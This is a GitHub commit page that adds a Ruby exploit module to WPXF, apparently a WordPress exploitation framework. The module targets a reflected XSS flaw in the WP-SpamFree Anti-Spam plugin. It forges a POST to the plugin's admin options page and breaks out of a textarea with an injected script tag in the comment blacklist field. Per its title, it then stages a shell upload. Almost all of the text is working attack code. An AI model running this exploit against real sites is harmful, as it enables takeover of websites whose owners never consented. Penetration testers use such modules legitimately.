Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit ebbb732

Browse files
committed
Add WP-SpamFree reflected XSS shell upload
1 parent 2e6bb67 commit ebbb732

File tree

1 file changed

+42
-0
lines changed

1 file changed

+42
-0
lines changed
Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
class Wpxf::Exploit::SpamfreeReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::StagedReflectedXss
3+
4+
def initialize
5+
super
6+
7+
update_info(
8+
name: 'WP-SpamFree Anti-Spam Reflected XSS Shell Upload',
9+
author: [
10+
'Radjnies Bhansingh', # Disclosure
11+
'Rob Carr <rob[at]rastating.com>' # WPXF module
12+
],
13+
references: [
14+
['WPVDB', '8752'],
15+
['URL', 'https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_wp_spamfree_anti_spam_wordpress_plugin.html']
16+
],
17+
date: 'Mar 02 2017'
18+
)
19+
end
20+
21+
def check
22+
check_plugin_version_from_readme('wp-spamfree')
23+
end
24+
25+
def vulnerable_url
26+
normalize_uri(wordpress_url_admin, 'options-general.php?page=wp-spamfree%2Fwp-spamfree.php')
27+
end
28+
29+
def initial_script
30+
create_basic_post_script(
31+
vulnerable_url,
32+
'submitted_wpsf_general_options' => '1',
33+
'use_alt_cookie_method' => 'on',
34+
'comment_logging_all' => 'on',
35+
'enhanced_comment_blacklist' => 'on',
36+
'wordpress_comment_blacklist' => "</textarea><script>#{xss_ascii_encoded_include_script}<\\/script>",
37+
'allow_proxy_users' => 'on',
38+
'promote_plugin_link' => 'on',
39+
'submit_wpsf_general_options' => 'Update Options'
40+
)
41+
end
42+
end

0 commit comments

Comments
 (0)